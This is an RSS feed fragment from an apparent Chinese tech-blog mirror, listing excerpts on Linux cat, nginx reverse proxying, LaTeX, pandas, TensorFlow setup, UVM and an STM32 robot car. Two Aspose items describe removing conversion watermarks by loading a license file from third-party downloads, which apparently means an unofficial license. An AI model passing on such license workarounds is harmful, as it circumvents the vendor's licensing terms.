      <description>命令语法： Usage: cat [OPTION]... [FILE]...&#x9;使用： cat [&#34;选项&#34;]&#x9;[&#34;文件名&#34;] OPTION（可选项） -A, --show-all equivalent to -vET&#x9;&#34;相当于 -vET 三个选项&#34; -b, --number-nonblank number nonempty output lines &#34;为非空行加上编号输出（从1开始）&#34; -e equivalent to -vE &#34;相当于 -vE 两个选项&#34; -E, --show-ends display $ at end of each line &#34;在每行的末尾显示$（空行也显示）&#34; -n, --number number all output lines &#34;对所有输出行进行编号&#34; -s, --squeeze-blank suppress repeated empty output lines &#34;禁止重复的空输出行,即相邻的多个空白行输出为一行空白行&#34; -t equivalent to -vT &#34;相当于 -vT 两个选项&#34; -T, --show-tabs display TAB characters as ^I &#34;</description>
    </item>
    <item>
      <title>aspose.slides-15.9.0 将ppt转为pdf,去除水印</title>
      <link>https://bchobby.github.io/posts/366258ad6935d8850fac15a3632b31cd/</link>
      <pubDate>Wed, 13 Oct 2021 10:36:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/366258ad6935d8850fac15a3632b31cd/</guid>
      <description>使用aspose.slides-15.9.0.jar将ppt转为pdf实现在线预览，去除水印。&#xA;下载地址：https://download.csdn.net/download/qq_31674229/32461644&#xA;import com.aspose.slides.License; import com.aspose.slides.Presentation; import com.aspose.slides.SaveFormat; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.util.StringUtils; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; /** * 将ppt转换为pdf */ public class Ppt2PdfUtil { private static Logger logger = LoggerFactory.getLogger(Ppt2PdfUtil.class); public static boolean getLicense() { boolean result = false; InputStream is = null; try { is = Ppt2PdfUtil.class.getClassLoader().getResourceAsStream(&#34;license-slides.xml&#34;); // license.xml应放在..\WebRoot\WEB-INF\classes路径下 if(is != null ){ License aposeLic = new License(); aposeLic.setLicense(is); result = true; } } catch (Exception e) { e.</description>
    </item>
    <item>
      <title>aspose-cells将Excel转为pdf</title>
      <link>https://bchobby.github.io/posts/6381b171468430166321bfa364b4bb9a/</link>
      <pubDate>Wed, 13 Oct 2021 10:27:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6381b171468430166321bfa364b4bb9a/</guid>
      <description>使用aspose-cells8.5.2将Excel转为pdf，实现在线预览。无水印。&#xA;下载地址：https://download.csdn.net/download/qq_31674229/32457846&#xA;import com.aspose.cells.License; import com.aspose.cells.PdfSaveOptions; import com.aspose.cells.Workbook; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.util.StringUtils; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; /** * 将Excel转换为pdf */ public class Excel2PdfUtil { private static Logger logger = LoggerFactory.getLogger(Excel2PdfUtil.class); public static boolean getLicense() { boolean result = false; InputStream is = null; try { is = Excel2PdfUtil.class.getClassLoader().getResourceAsStream(&#34;license-cells.xml&#34;); // license.xml应放在..\WebRoot\WEB-INF\classes路径下 if (is != null){ License aposeLic = new License(); aposeLic.setLicense(is); result = true; } } catch (Exception e) { e.</description>
    </item>
    <item>
      <title>python使用pandas模块设置行列索引后单元数值全变Nan值</title>
      <link>https://bchobby.github.io/posts/8f5676eb61437b0db6dc9a7c2d4a410b/</link>
      <pubDate>Tue, 12 Oct 2021 16:57:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f5676eb61437b0db6dc9a7c2d4a410b/</guid>
      <description> 问题背景 使用pandas模块设置行列索引后单元数值全变Nan值&#xA;代码如下&#xA;# 错误 # 构造行索引序列 st_code = [&#39;股票&#39;+str(i) for i in range(st_change.shape[0])] print(st_code) # 添加行索引 data = pd.DataFrame(st_change, index=st_code) data 解决问题 原因分析 这种写法可能不适用&#xA;正确写法：&#xA;方法1：对dataframe结构的行索引index直接更改，有可能出问题，取决于赋什么值。以前这样做可以，现在不太推荐了&#xA;print(st_change.shape) print(st_change.shape[0]) print(st_change.shape[1]) # 构造行索引序列 st_code = [&#39;股票&#39;+ str(i) for i in range(st_change.shape[0])] print(st_code) # 添加行索引 data = pd.DataFrame(st_change) data.index = st_code data 方法2：用rename方法改&#xA;df.rename(index={原行索引名:替换行索引名})&#xA;data5 = np.random.normal(0,1,(10,5)) data5 = pd.DataFrame(data5) data5.rename(index={0:1,2:22}) </description>
    </item>
    <item>
      <title>latex使用笔记</title>
      <link>https://bchobby.github.io/posts/1a771a5a47b33afded8f5833cbb5484d/</link>
      <pubDate>Tue, 12 Oct 2021 14:20:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a771a5a47b33afded8f5833cbb5484d/</guid>
      <description>通讯作者 邮箱图标 nameABC \inst{1}\textsuperscript{\Letter}&#xA;多行公式左对齐（用&amp;amp;对齐公式） \begin{equation} \begin{align*} &amp;amp; {{\cal O}_F}=\left\| {{X^v} - {U^v}{{({V^v})}^T}} \right\|_F^2 + {\lambda _1}\sum\limits_{v = 1}^{{n_v}} {(\left\| {{V^v} - {V^v}{S^v}} \right\|_F^2 + {{\left\| {{S^v}} \right\|}_*})} \\ &amp;amp; {\rm{ s}}{\rm{.t}}{\rm{. }}{U^v},{Z^v} \ge 0,{V^v} = A{Z^v} \end{align*} \end{equation} 图、表、公式引用： \ref{XXX} 加粗命令： \textbf{文本}&#xA;空格命令： \quad&#xA;脚注： uci-digit\footnote[1]{UCI Machine Learning Repository: Data Sets},&#xA;列表命令： \begin{itemize} \item one \item two \item three \end{itemize} latex中如何使表格被文字环绕https://blog.csdn.net/u010158659/article/details/79141682?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163289429216780274183619%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&amp;amp;request_id=163289429216780274183619&amp;amp;biz_id=0&amp;amp;utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-79141682.pc_search_ecpm_flag&amp;amp;utm_term=latex+%E8%A1%A8%E6%A0%BC+%E5%86%85%E5%AE%B9%E7%8E%AF%E7%BB%95&amp;amp;spm=1018.2226.3001.4187&#xA;Latex插入参考文献编译后出现&#34;?&#34; 1、确定你的bib文件中的引用是正确的2、确定点击Latex编译时可以通过的，也就是工具栏上的这个按钮，点击后能顺利编译3、确定点击是能够顺利通过的。这是L，B的相对位置。4、按照L-&amp;gt;B-&amp;gt;L-&amp;gt;L的顺序执行查看是否正常显示5、如果还没有正常显示，则先用Latex编译，再用XeLatex编译（此处可能会不通过，不用管），接着用Bib编译，最后用Texify再编译一次。查看pdf文档是否正常。不出意外是正常的了。&#xA;文献引用 ~\cite{deng_cai_graph_2011}&#xA;注：（bib文件编译之后，会生成一个bbl文件的）&#xA;LaTeX如何输出反斜杠 ‘\’ LaTeX如何输出反斜杠 \_px_cmd的博客-CSDN博客</description>
    </item>
    <item>
      <title>TypeScript的特性</title>
      <link>https://bchobby.github.io/posts/c334fad7f0ebb5fe3dfd01f2e35957df/</link>
      <pubDate>Mon, 11 Oct 2021 20:25:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c334fad7f0ebb5fe3dfd01f2e35957df/</guid>
      <description>什么是TypeScript 从 TypeScript 的名字就可以看出来，「类型」是其最核心的特性。&#xA;我们知道，JavaScript 是一门非常灵活的编程语言：&#xA;它没有类型约束，一个变量可能初始化时是字符串，过一会儿又被赋值为数字。由于隐式类型转换的存在，有的变量的类型很难在运行前就确定。基于原型的面向对象编程，使得原型上的属性或方法可以在运行时被修改。函数是 JavaScript 中的一等公民[2]，可以赋值给变量，也可以当作参数或返回值。 这种灵活性就像一把双刃剑，一方面使得 JavaScript 蓬勃发展，无所不能，从 2013 年开始就一直蝉联最普遍使用的编程语言排行榜冠军[3]；另一方面也使得它的代码质量参差不齐，维护成本高，运行时错误多。&#xA;而 TypeScript 的类型系统，在很大程度上弥补了 JavaScript 的缺点。&#xA;TypeScript 是静态类型 TypeScript 是弱类型 类型系统按照「类型检查的时机」来分类，可以分为动态类型和静态类型。&#xA;TypeScript 是完全兼容 JavaScript 的，它不会修改 JavaScript 运行时的特性，所以它们都是弱类型。&#xA;什么是 TypeScript？ TypeScript 是添加了类型系统的 JavaScript，适用于任何规模的项目。 TypeScript 是一门静态类型、弱类型的语言。 TypeScript 是完全兼容 JavaScript 的，它不会修改 JavaScript 运行时的特性。 TypeScript 可以编译为 JavaScript，然后运行在浏览器、Node.js 等任何能运行 JavaScript 的环境中。 TypeScript 拥有很多编译选项，类型检查的严格程度由你决定。 TypeScript 可以和 JavaScript 共存，这意味着 JavaScript 项目能够渐进式的迁移到 TypeScript。 TypeScript 增强了编辑器（IDE）的功能，提供了代码补全、接口提示、跳转到定义、代码重构等能力。 TypeScript 拥有活跃的社区，大多数常用的第三方库都提供了类型声明。 TypeScript 与标准同步发展，符合最新的 ECMAScript 标准（stage 3）。 TypeScript2012-10 :微软发布了TypeScript第一个版本（0.8），从此已经在微软内部开发了两年</description>
    </item>
    <item>
      <title>nginx通过虚拟主机功能，实现反向代理多个Tomcat服务</title>
      <link>https://bchobby.github.io/posts/e0d2f9a88d2d4a60ce4ab45ff81b15d5/</link>
      <pubDate>Mon, 11 Oct 2021 19:56:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0d2f9a88d2d4a60ce4ab45ff81b15d5/</guid>
      <description>需求： 平时经常遇到的问题：甲方的服务器资源吃紧，还想部署一套有正规域名的网站，还不想在url上加端口号；&#xA;总结需求： 一台服务器，一个ip，多个项目，多个域名&#xA;解决思路： 首先登录域名管理后台，一般服务商都提供dns服务，在里边把这些域名都映射到这个ip 这样外部请求都会访问服务器的80端口用nginx监听80端口，并反向代理到其他端口 具体步骤： window环境&#xA;安装nginx 下载地址：nginx: download 下载后解压运行exe即可，然后访问localhost验证一下，正常应该显示nginx欢迎页。 配置host文件，来模拟dns服务，用做测试，host位置在：C:\WINDOWS\system32\drivers\etc，我们添加这两行 保存后，访问这两个域名验证一下设置是否有效，有效会显示nginx欢迎页。（注意设置完host文件后需要重启浏览器才能生效）&#xA;安装tomcat 下载地址，解压两份，一个重命名java，修改端口8080为8081，8005为8006，一个重命名python，修改端口8080为8082，8005为8007， 配置tomcat端口的方法在这里，【这里】，然后启动。&#xA;做两个测试用的项目：在tomcatjava的webapps文件夹中，创建文件夹，命名JAVA，创建一个index.html，在tomcatpython中的webapps文件夹中，创建文件夹命名为PYTHON，并创建一个index.html，网页内容随意，只要两个网页有区别就行。访问验证一下。 配置nginx，记事本打开nginx根目录conf/nginx.conf。将原来的server{...}部分删掉，插入以下代码。保存，重启nginx进程。&#xA;server { listen 80; server_name *.ilovejava.com; location / { proxy_pass http://127.0.0.1:8081/JAVA/; index index.html index.htm; } } server { listen 80; server_name *.ilovepython.com; location / { proxy_pass http://127.0.0.1:8082/PYTHON/; index index.html index.htm; } } 验证一下，两个域名都能独立访问啦！&#xA;Linux环境 以腾讯云centos为例&#xA;1：同上，还是做好dns映射&#xA;2：云服务器需要在控制台开放端口，详见腾讯云api&#xA;3：云服务器登录后是这样的&#xA;4：安装nginx，直接敲 “yum install -y nginx” ,然后启动 ，网络安装的nginx会自动配置systemctl，所以可以使用命令“system start nginx”启动。欢迎页如图。&#xA;4：配置nginx，使用“rpm -ql nginx”查找安装文件位置找到nginx.</description>
    </item>
    <item>
      <title>AxMath安装教程</title>
      <link>https://bchobby.github.io/posts/5840a6f0d4994d5184676eb52697fd91/</link>
      <pubDate>Mon, 11 Oct 2021 15:14:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5840a6f0d4994d5184676eb52697fd91/</guid>
      <description>文章目录 1 软件下载2 软件安装3 在office与wps上安装相应插件3.1 office3.2 wps 1 软件下载 下载链接：https://pan.baidu.com/s/1d7o07xJ_jykhdt_0kZjz1A&#xA;提取码：266q&#xA;2 软件安装 软件安装流程参考该网址：https://zhuanlan.zhihu.com/p/353074577&#xA;3 在office与wps上安装相应插件 3.1 office 打开AxMath设置-&amp;gt;高级设置-&amp;gt;在Office上创建插件菜单–&amp;gt;确定&#xA;3.2 wps 打开WPS，依次点击：开发工具-加载项-添加：&#xA;添加路径：AxMath安装路径/Msoffice/AxMath.dotm</description>
    </item>
    <item>
      <title>UVM实战 卷I学习笔记6——config_db机制</title>
      <link>https://bchobby.github.io/posts/db97b68c1ab857ad9cb078bfd827ac2e/</link>
      <pubDate>Mon, 11 Oct 2021 13:19:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db97b68c1ab857ad9cb078bfd827ac2e/</guid>
      <description>目录 UVM中的路径set与get函数的参数*省略get语句*跨层次的多重设置*同一层次的多重设置*非直线的设置与获取*config_db机制对通配符的支持*check_config_usageset_config与get_configconfig_db的调试 UVM中的路径 一个component内通过get_full_name()函数可以得到此component的路径：&#xA;function void my_driver::build_phase(); super.build_phase(phase); $display(&#34;%s&#34;, get_full_name()); endfunction 上述代码如果是在下图所示的层次结构中的my_driver中，那么打印出来的值是uvm_test_top.env.i_agt.drv。&#xA;为了方便，上图使用了new函数而不是factory式的create方式来创建实例。图中uvm_test_top实例化时的名字是uvm_test_top，这个名字是由UVM在run_test时自动指定的。uvm_top的名字是__top__，但在显示路径时并不会显示出这个名字，而只显示从uvm_test_top开始的路径。&#xA;路径的概念与通常的层次结构不太一样(虽然基本上是一样的)。从图中的my_casen看，drv的层次结构是env.i_agt.drv，其相对于my_casen的相对路径是env.i_agt.drv。&#xA;如果drv在new时指定的名字是driver，即：drv = my_driver::type_id::create(“driver”); drv在my_casen看来，层次结构仍是env.i_agt.drv，但其路径变为了env.i_agt.driver。 好的编码习惯是，这种变量名与其实例化时传递的名字不一致的情况应尽量避免。&#xA;set与get函数的参数 config_db机制用于在UVM验证平台间传递参数。它们通常都是成对出现的：set是寄信，而get是收信。如在某个测试用例的build_phase中可使用如下方式寄信：uvm_config_db#(int)::set(this, “env.i_agt.drv”, “pre_num”, 100);&#xA;前两个参数联合起来组成目标路径，与此路径符合的目标才能收信。第一个参数必须是一个uvm_component实例的指针，第二个参数是相对此实例的路径。第三个参数表示记号，用以说明这个值是传给目标中的哪个成员的，第四个参数是要设置的值。&#xA;在driver中的build_phase使用如下方式收信：uvm_config_db#(int)::get(this, “”, “pre_num”, pre_num);&#xA;get函数中的前两个参数联合起来组成路径。第一个参数也必须是一个uvm_component实例的指针，第二个参数是相对此实例的路径。一般如果第一个参数被设置为this，第二个参数可以是空的字符串。第三个参数就是set函数中的第三个参数，这两个参数必须严格匹配，第四个参数是要设置的变量。&#xA;前面在top_tb中通过config_db机制的set函数设置virtual interface时，set函数的第一个参数为null。这种情况UVM会自动把第一个参数替换为uvm_root::get()，即uvm_top。 换句话说，以下两种写法是完全等价的：&#xA;initial begin uvm_config_db#(virtual my_if)::set(null, &#34;uvm_test_top.env.i_agt.drv&#34;, &#34;vif&#34;, input_if); end initial begin uvm_config_db#(virtual my_if)::set(uvm_root::get(),&#34;uvm_test_top.env.i_agt.drv&#34;,&#34;vif&#34;,input_if); end 既然set函数的前两个参数联合起来组成路径，那么在某个测试用例的build_phase中可通过如下的方式设置env.i_agt.drv中pre_num_max的值：把this替换为了this.env，第二个参数是my_driver相对于env的路径。&#xA;uvm_config_db#(int)::set(this.env, “i_agt.drv”, “pre_num_max”, 100);&#xA;同样，get函数的参数也可以使用这种灵活的方式设置。在driver的build_phase中：&#xA;uvm_config_db#(int)::get(this.parent, &#34;drv&#34;, &#34;pre_num_max&#34;, pre_num_max); 或者： uvm_config_db#(int)::get(null, &#34;uvm_test_top.env.i_agt.drv&#34;, &#34;pre_num_max&#34;, pre_num_max); set和get函数中第三个参数可以与get函数中第四个参数不一样。如第四个参数是pre_num，那么第三个参数可以是p_num，只要保持set和get中第三个参数一致即可。可以这样理解：张三给李四寄了一封信，信上写了李四的名字，这样李四可以收到信。但由于保密的需要，张三只是在信上写了“四”这一个字，只要张三跟李四事先约定好了，那么李四一看到上面写着“四”的信就会收下来。&#xA;*省略get语句 set与get函数一般都是成对出现，但在某些情况下，是可以只有set而没有get语句，即省略get语句。&#xA;假设在my_driver中有成员变量pre_num，把其使用uvm_field_int实现field automation机制：&#xA;int pre_num; `uvm_component_utils_begin(my_driver) `uvm_field_int(pre_num, UVM_ALL_ON) `uvm_component_utils_end funtion new(string name = &#34;</description>
    </item>
    <item>
      <title>flink 常见问题</title>
      <link>https://bchobby.github.io/posts/a701c1c9b12977f433b9e15a9d0e4ca6/</link>
      <pubDate>Mon, 11 Oct 2021 11:04:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a701c1c9b12977f433b9e15a9d0e4ca6/</guid>
      <description>一、问题 1. flink_kafka EXACTLY_ONCE 报错 问题：&#xA;flink_kafka EXACTLY_ONCE 报错： 2021-10-11 10:43:52,210 WARN [3226] [org.apache.flink.runtime.taskmanager.Task.transitionState(Task.java:1069)] org.apache.flink.runtime.taskmanager.Task - Sink: Unnamed (27/60)#2 (56891e8e1913c5da927e66c5a4c0430e) switched from RUNNING to FAILED with failure cause: org.apache.flink.streaming.connectors.kafka.FlinkKafkaException: Failed to send data to Kafka: Producer attempted an operation with an old epoch. Either there is a newer producer with the same transactionalId, or the producer&#39;s transaction has been expired by the broker. at org.apache.flink.streaming.connectors.kafka.FlinkKafkaProducer.checkErroneous(FlinkKafkaProducer.java:1392) at org.apache.flink.streaming.connectors.kafka.FlinkKafkaProducer.invoke(FlinkKafkaProducer.java:850) at org.apache.flink.streaming.connectors.kafka.FlinkKafkaProducer.invoke(FlinkKafkaProducer.java:99) at org.</description>
    </item>
    <item>
      <title>stm32f103c8t6&#43;HC-05蓝牙模块&#43;L298N电机驱动&#43;直流电机组成的蓝牙遥控小车</title>
      <link>https://bchobby.github.io/posts/4a1a063c0d853a0fde260e7231fade40/</link>
      <pubDate>Sun, 10 Oct 2021 09:42:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a1a063c0d853a0fde260e7231fade40/</guid>
      <description>先上代码吧，该程序没有太多的stm32编程难点，只是一些基本功能的应用（usart，pwm波的产生等），对于嵌入式小白来说是一个很好的上手项目。&#xA;#include &#34;stm32f10x.h&#34; #include &#34;usart.h&#34; #include &#34;delay.h&#34; #include &#34;pwm.h&#34; #include &#34;gpio_outpp_lint.h&#34; uint16_t flag=0;//用来选择模式 uint16_t flag1=0;//选择前进后退左转右转 int a=0; / //PA6（通道1）作为左边两个轮子pwm信号，PA7（通道2）为右边两个轮子pwm信号 int main(void) { GPI0B_OUTPP_Init(RCC_APB2Periph_GPIOB,GPIO_Pin_12|GPIO_Pin_13|GPIO_Pin_14|GPIO_Pin_15); GPIO_ResetBits(GPIOB, GPIO_Pin_12|GPIO_Pin_13|GPIO_Pin_14|GPIO_Pin_15);//PB12,13为左边两个轮子控制信号，PB14,15为右边两个轮子控制信号 GPI0C_OUTPP_Init(RCC_APB2Periph_GPIOC,GPIO_Pin_13);//PC13是stm32f103c8t6板子上的一颗绿色的灯，闪烁时没有进入任何模式，长亮进入模式一，长灭进入模式二 delay_init(); uart_init(9600);//串口初始化，波特率为9600，无奇偶校验位，一个停止位 My_PWMTIM3_Init(1999,71);//设置PA6，PA7pwm波输出，上限1999 while(1){ if(a==0) {GPIO_ResetBits(GPIOC,GPIO_Pin_13); a=1;} else {GPIO_SetBits(GPIOC,GPIO_Pin_13); a=0;} delay_ms(300);//PC13灯闪烁，间隔为300ms flag=USART_ReceiveData(USART1);//flag用来记录第一次串口值，用于模式选择 if(flag==0x05) {GPIO_ResetBits(GPIOC,GPIO_Pin_13);//PC13常亮 while(1);}//此处用来保留模式一的小车操作接口，以后可以在小车上加传感器，通过该模式接口来实现特定功能&#x9;if(flag==0x07)//模式二 { GPIO_SetBits(GPIOC,GPIO_Pin_13);//PC13常灭 while(1){ flag1=USART_ReceiveData(USART1);//flag1用来记录之后的串口值，用于判断前进后退左转右转 switch(flag1)//模式二操作 {case 0x01:TIM_SetCompare1(TIM3,1000); TIM_SetCompare2(TIM3,1000); GPIO_SetBits(GPIOB,GPIO_Pin_12); GPIO_ResetBits(GPIOB,GPIO_Pin_13); GPIO_SetBits(GPIOB,GPIO_Pin_14); GPIO_ResetBits(GPIOB,GPIO_Pin_15); //delay_ms(5); break;//前进信号 /&#x9;case 0x02:TIM_SetCompare1(TIM3,1000); TIM_SetCompare2(TIM3,1000); GPIO_SetBits(GPIOB,GPIO_Pin_13); GPIO_ResetBits(GPIOB,GPIO_Pin_12); GPIO_SetBits(GPIOB,GPIO_Pin_15); GPIO_ResetBits(GPIOB,GPIO_Pin_14); //delay_ms(5); break;//后退信号 / case 0x03:TIM_SetCompare1(TIM3,300); TIM_SetCompare2(TIM3,1000); GPIO_SetBits(GPIOB,GPIO_Pin_13); GPIO_ResetBits(GPIOB,GPIO_Pin_12); GPIO_SetBits(GPIOB,GPIO_Pin_14); GPIO_ResetBits(GPIOB,GPIO_Pin_15); //delay_ms(5); break;//左转信号 / case 0x04:TIM_SetCompare1(TIM3,1000); TIM_SetCompare2(TIM3,300); GPIO_SetBits(GPIOB,GPIO_Pin_12); GPIO_ResetBits(GPIOB,GPIO_Pin_13); GPIO_SetBits(GPIOB,GPIO_Pin_15); GPIO_ResetBits(GPIOB,GPIO_Pin_14); //delay_ms(5); break;//右转信号 / case 0x06:TIM_SetCompare1(TIM3,0); TIM_SetCompare2(TIM3,0); GPIO_SetBits(GPIOB,GPIO_Pin_12); GPIO_SetBits(GPIOB,GPIO_Pin_13); GPIO_SetBits(GPIOB,GPIO_Pin_14); GPIO_SetBits(GPIOB,GPIO_Pin_15); //delay_ms(5); break;//停止信号 default :break; }} }}} //name:Vincent njw QQ:1504012979 glut 一，硬件</description>
    </item>
    <item>
      <title>import tensorflow.keras as keras 报错No Module named keras</title>
      <link>https://bchobby.github.io/posts/75d8b13df4b394bb7f6d8b7ef34a3d4d/</link>
      <pubDate>Sat, 09 Oct 2021 18:40:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75d8b13df4b394bb7f6d8b7ef34a3d4d/</guid>
      <description>解决使用tf.keras报错问题 问题描述问题解决最终解决 问题描述 环境:win10+anaconda+tf 1.2.0+keras 2.0.6+py 3.6.2&#xA;import tensorflow.keras as keras 在使用tensorflow.keras遇到报错说No module named keras&#xA;在参考多篇博客后发现并未有相同的情况，具体是指，我甚至未能成功实现下列语句&#xA;import tensorflow as tf from tensorflow import keras print(tf.VERSION) print(keras.__version__) print(tf.__path__) print(keras.__path__) 此段代码运行结果为报错：cannot import keras&#xA;问题解决 经参考下列博客https://blog.csdn.net/gyx1549624673/article/details/104317816&#xA;意识到可能是tf的版本问题，遂升级tf及keras版本至最新&#xA;pip install --upgrade tensorflow&#xA;pip install --upgrade keras&#xA;注：tf为CPU版本&#xA;但问题是忽略了自己的python编译器版本（离谱），导致报错&#xA;from tensorflow.python._pywrap_tensorflow_internal import *&#xA;ImportError: DLL load failed: 找不到指定的模块。&#xA;最终解决 tf与keras版本对应.&#xA;经查改网页，确定与自己编译器版本对应的最新tf和对应keras版本，重新下载后成功&#xA;更新至指定版本命令&#xA;pip install tensorflow ==1.12.0&#xA;pip install keras ==2.2.4</description>
    </item>
    <item>
      <title>anaconda创建虚拟环境并配置</title>
      <link>https://bchobby.github.io/posts/a4b17671f4f28cfb0ea0f8619cbe413c/</link>
      <pubDate>Sat, 09 Oct 2021 16:03:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4b17671f4f28cfb0ea0f8619cbe413c/</guid>
      <description>创建虚拟环境 打开anaconda navigator-&amp;gt;选择environment-&amp;gt;create一个新的环境&#xA;ps:给新环境命名的时候千万别用空格，因为可能会导致activate的时候不能激活，别问我怎么知道的&#xA;建立完成后可以在…anaconda3-&amp;gt;envs中找到建立的环境&#xA;配置环境 打开pycharm，点击File-&amp;gt;Settings-&amp;gt;Python Interpreter，右面的设置按钮选择Add&#xA;选择第一个虚拟环境，添加刚才建好的环境&#xA;然后确认OK&#xA;现在界面的代码就可以采用新配制的环境了</description>
    </item>
    <item>
      <title>ANSYS SCADE Suite - 学习之路</title>
      <link>https://bchobby.github.io/posts/7183ebf41b2634391801028d7b601310/</link>
      <pubDate>Sat, 09 Oct 2021 15:14:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7183ebf41b2634391801028d7b601310/</guid>
      <description>总结汇总ANSYS SCADE Suite所学知识&#xA;【1】安装SCADE Suite(后期补充).&#xA;【2】SCADE Suite建模基础.</description>
    </item>
    <item>
      <title>攻防世界|MISC-pdf</title>
      <link>https://bchobby.github.io/posts/bc326302949be3b0f61d009234762654/</link>
      <pubDate>Sat, 09 Oct 2021 15:10:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc326302949be3b0f61d009234762654/</guid>
      <description> 1.下载文件打开发现是PDF文件，如果PDF文件可以直接编辑移动图片就可以看到flag，如果不能编辑把PDF文件转换为word文件移动图片就可以看到flag。 </description>
    </item>
    <item>
      <title>Auto Close Tag 插件</title>
      <link>https://bchobby.github.io/posts/59ca3c8109a37da47404b10c4b4adbdc/</link>
      <pubDate>Sat, 09 Oct 2021 14:14:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59ca3c8109a37da47404b10c4b4adbdc/</guid>
      <description> 1. 自动补全 html 标签 </description>
    </item>
    <item>
      <title>tensorflow 无法调用GPU Could not load dynamic library ‘libcudart.so.10.1‘； dlerror: libc</title>
      <link>https://bchobby.github.io/posts/966c7499465d638b9940362d671be401/</link>
      <pubDate>Sat, 09 Oct 2021 12:23:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/966c7499465d638b9940362d671be401/</guid>
      <description> 前言：&#xA;注意：这里的前提是，公司的tensorflow环境已经弄好了，cuda可以跑，我是新来的实习生，给我开权限访问服务器，我再服务器上跑，才遇到下面问题。如果你是第一次使用tensorflow-gpu，请一步一步好好安装，tensorflow-gpu环境搭建对第一次弄的人来说大概是很头疼的。下载Nvidia的驱动、到cuda官网安装对应显卡版本的cuda，下载对应版本的tensorflow-gpu，可能还要再conda install cudatoolkit=10.1什么的，版本一定要对应，不可马虎，最难的就是版本对应。&#xA;使用公司的centos7去跑yolo，太慢，想开启GPU，但是train.py速度很慢，所以就怀疑没有用到GPU，而且从nvidia-smi上也能看出来。&#xA;因此，直接python3，打开python命令行，测试cuda是否可以使用。&#xA;import tensorflow as tf print(tf.test.is_gpu_available()) #最后是False，而且前面一大串输出。 主要是两个可疑点：&#xA;1、…but there must be at least one NUMA node, so returning NUMA node…&#xA;2、Could not load dynamic library ‘libcudart.so.10.1’; dlerror: libc…&#xA;第一个直接上网搜，但是对我没用，但可以试一下：&#xA;#在代码中添加一下两行 import os os.environ[&#39;TF_CPP_MIN_LOG_LEVEL&#39;] = &#39;2&#39; 想了一下，应该最重要是第二个点，所以放弃解决第一个可疑点，搜第二个，对我有用：解决方法链接&#xA;意思就是，cuda的一些文件没有装齐全，直接一条命令装就好：&#xA;conda install cudatoolkit=10.1 #注意，cuda工具包的版本自己去看，一定要对应自己的tensorflow的版本！！！！！！ #我的tensorflow-gpu是2.3.0的，所以cuda工具包版本为10.1 。 再次运行：&#xA;import tensorflow as tf print(tf.test.is_gpu_available()) #结果为True，前面也有一些输出，都是提示successful的。 </description>
    </item>
    <item>
      <title>json字符串转换为复杂对象</title>
      <link>https://bchobby.github.io/posts/5cb2842105aaf247a9a532843846a23f/</link>
      <pubDate>Sat, 09 Oct 2021 00:16:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cb2842105aaf247a9a532843846a23f/</guid>
      <description>json字符串转换为指定对象 通常我们使用的JSONObject将json字符串转为对象，只能建立在该对象内没有没有引用类型和数据的情况下才可以进行转换的，在面对复杂的对象时候转换会报错。在这里就教你怎么将json转为复杂数据类型。这里是通过JSONObject对象和反射进行操作的。有什么更好的方法可以教一下我。哈哈哈`&#xA;第一步导入JSONObject包 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;fastjson&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${fastjson.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 第二步创建一个静态方法 /**&#xA;*&#xA;* @param json json字符串或者是JSONObject&#xA;* @param type Class对象 列如Student.class&#xA;* @return 返回值是 Student实例&#xA;* @throws Exception&#xA;*/&#xA;public static Object jsonToBean(Object json, Object type) throws Exception { JSONObject jsonObject=null; //首先需要判断是否是json字符串如果是解析为jsonObject如果是JsonObject就直接赋值给jsonObject if (json instanceof String){ //将json转为JSONOject jsonObject=JSONObject.parseObject(json.toString()); }else { jsonObject= (JSONObject) json; } //获得Class对象 //Class clazz=type.getClass().getDeclaringClass(); Class clazz= (Class) type; //通过空参构造器创建实例 Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); Object classObject = constructor.</description>
    </item>
    <item>
      <title>C语言实现字符串转十六进制</title>
      <link>https://bchobby.github.io/posts/19633a32ad456ad559836cb59ff2556d/</link>
      <pubDate>Fri, 08 Oct 2021 19:13:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19633a32ad456ad559836cb59ff2556d/</guid>
